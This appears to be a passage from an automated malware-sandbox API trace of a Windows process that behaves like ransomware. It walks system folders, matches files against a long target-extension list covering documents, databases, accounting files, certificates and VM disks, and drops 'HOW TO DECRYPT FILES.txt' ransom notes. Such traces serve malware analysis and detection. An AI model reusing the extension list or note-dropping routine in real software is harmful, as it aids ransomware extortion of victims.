(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.txt") returned 0 [0105.086] lstrlenA (lpString="*.txt") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0105.086] lstrlenA (lpString="*.jpeg") returned 6 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.jpg") returned 0 [0105.086] lstrlenA (lpString="*.jpg") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.png") returned 0 [0105.086] lstrlenA (lpString="*.png") returned 5 [0105.086] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.php") returned 0 [0105.086] lstrlenA (lpString="*.php") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.cs") returned 0 [0105.087] lstrlenA (lpString="*.cs") returned 4 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.cpp") returned 0 [0105.087] lstrlenA (lpString="*.cpp") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.rar") returned 0 [0105.087] lstrlenA (lpString="*.rar") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.zip") returned 0 [0105.087] lstrlenA (lpString="*.zip") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.html") returned 0 [0105.087] lstrlenA (lpString="*.html") returned 6 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.htm") returned 0 [0105.087] lstrlenA (lpString="*.htm") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0105.087] lstrlenA (lpString="*.xlsx") returned 6 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.xls") returned 0 [0105.087] lstrlenA (lpString="*.xls") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mp4") returned 0 [0105.087] lstrlenA (lpString="*.mp4") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.ppt") returned 0 [0105.087] lstrlenA (lpString="*.ppt") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.pptx") returned 0 [0105.087] lstrlenA (lpString="*.pptx") returned 6 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.doc") returned 0 [0105.087] lstrlenA (lpString="*.doc") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.dot") returned 0 [0105.087] lstrlenA (lpString="*.dot") returned 5 [0105.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.docx") returned 0 [0105.087] lstrlenA (lpString="*.docx") returned 6 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.7z") returned 0 [0105.088] lstrlenA (lpString="*.7z") returned 4 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.tar") returned 0 [0105.088] lstrlenA (lpString="*.tar") returned 5 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.bz2") returned 0 [0105.088] lstrlenA (lpString="*.bz2") returned 5 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.gz") returned 0 [0105.088] lstrlenA (lpString="*.gz") returned 4 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mkv") returned 0 [0105.088] lstrlenA (lpString="*.mkv") returned 5 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.eml") returned 0 [0105.088] lstrlenA (lpString="*.eml") returned 5 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.msg") returned 0 [0105.088] lstrlenA (lpString="*.msg") returned 5 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.edb") returned 0 [0105.088] lstrlenA (lpString="*.edb") returned 5 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.accdb") returned 0 [0105.088] lstrlenA (lpString="*.accdb") returned 7 [0105.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.odb") returned 0 [0105.088] lstrlenA (lpString="*.odb") returned 5 [0105.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.java") returned 0 [0105.089] lstrlenA (lpString="*.java") returned 6 [0105.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.asm") returned 0 [0105.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.pfx") returned 0 [0105.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.pem") returned 0 [0105.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.p12") returned 0 [0105.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.gpg") returned 0 [0105.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.vsd") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.odg") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.raw") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.nef") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.svg") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.psd") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.vmx") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0105.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.vdi") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.lay6") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.djvu") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.tiff") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.backup") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.pdf") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.cert") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.docm") returned 0 [0105.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.dwg") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.nd") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.tlg") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.lgb") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mov") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.xdw") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.ods") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.wav") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.mp3") returned 0 [0105.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.aiff") returned 0 [0105.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.flac") returned 0 [0105.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.m4a") returned 0 [0105.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\5d0f494f1be2367fb0a634956f719965\\System.Data.Services.Design.ni.dll", pszSpec="*.csv") returned 0 [0105.094] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8812eeba, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8812eeba, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8812eeba, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x70e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0105.094] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0105.095] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x87d04832, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x87d04832, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a933cd1241698e4d13d80c8cb31d7055", cAlternateFileName="A933CD~1")) returned 1 [0105.095] lstrcmpA (lpString1=".", lpString2="a933cd1241698e4d13d80c8cb31d7055") returned -1 [0105.095] lstrcmpA (lpString1="..", lpString2="a933cd1241698e4d13d80c8cb31d7055") returned -1 [0105.095] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\*.*") returned="*.*" [0105.095] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\", lpString2="a933cd1241698e4d13d80c8cb31d7055" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055" [0105.095] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x87d04832, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x87d04832, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0105.096] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0105.096] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87d04832, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x87d04832, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x87d04832, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0105.096] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0105.096] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0105.096] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87c46151, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x87c46151, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x87c92411, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x150a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Services.Client.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0105.096] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0105.096] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.Services.Client.ni.dll") returned -1 [0105.096] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.Services.Client.ni.dll") returned -1 [0105.096] lstrcmpiA (lpString1="", lpString2="System.Data.Services.Client.ni.dll") returned -1 [0105.096] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\*.*") returned="*.*" [0105.096] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\" [0105.096] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\") returned="" [0105.096] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\HOW TO DECRYPT FILES.txt" [0105.096] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.service#\\a933cd1241698e4d13d80c8cb31d7055\\how to decrypt files.txt")) returned 0xffffffff [0105.097] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.data.service#\\a933cd1241698e4d13d80c8cb31d7055\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0105.098] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0105.100] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0105.100] CloseHandle (hObject=0x90) returned 1 [0105.101] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\", lpString2="System.Data.Services.Client.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll" [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.ems") returned 0 [0105.101] lstrlenA (lpString="*.ems") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.db") returned 0 [0105.101] lstrlenA (lpString="*.db") returned 4 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.dbf") returned 0 [0105.101] lstrlenA (lpString="*.dbf") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.myox") returned 0 [0105.101] lstrlenA (lpString="*.myox") returned 6 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.myo") returned 0 [0105.101] lstrlenA (lpString="*.myo") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qbw") returned 0 [0105.101] lstrlenA (lpString="*.qbw") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qbb") returned 0 [0105.101] lstrlenA (lpString="*.qbb") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qbm") returned 0 [0105.101] lstrlenA (lpString="*.qbm") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qbo") returned 0 [0105.101] lstrlenA (lpString="*.qbo") returned 5 [0105.101] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qbx") returned 0 [0105.102] lstrlenA (lpString="*.qbx") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qba") returned 0 [0105.102] lstrlenA (lpString="*.qba") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qby") returned 0 [0105.102] lstrlenA (lpString="*.qby") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qbj") returned 0 [0105.102] lstrlenA (lpString="*.qbj") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.ofx") returned 0 [0105.102] lstrlenA (lpString="*.ofx") returned 5 [0105.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Data.Service#\\a933cd1241698e4d13d80c8cb31d7055\\System.Data.Services.Client.ni.dll", pszSpec="*.qif") returned 0 [0105.102] lstrlenA (lpString="*.qif") returned 5 [0105.102] PathMatchSpecA 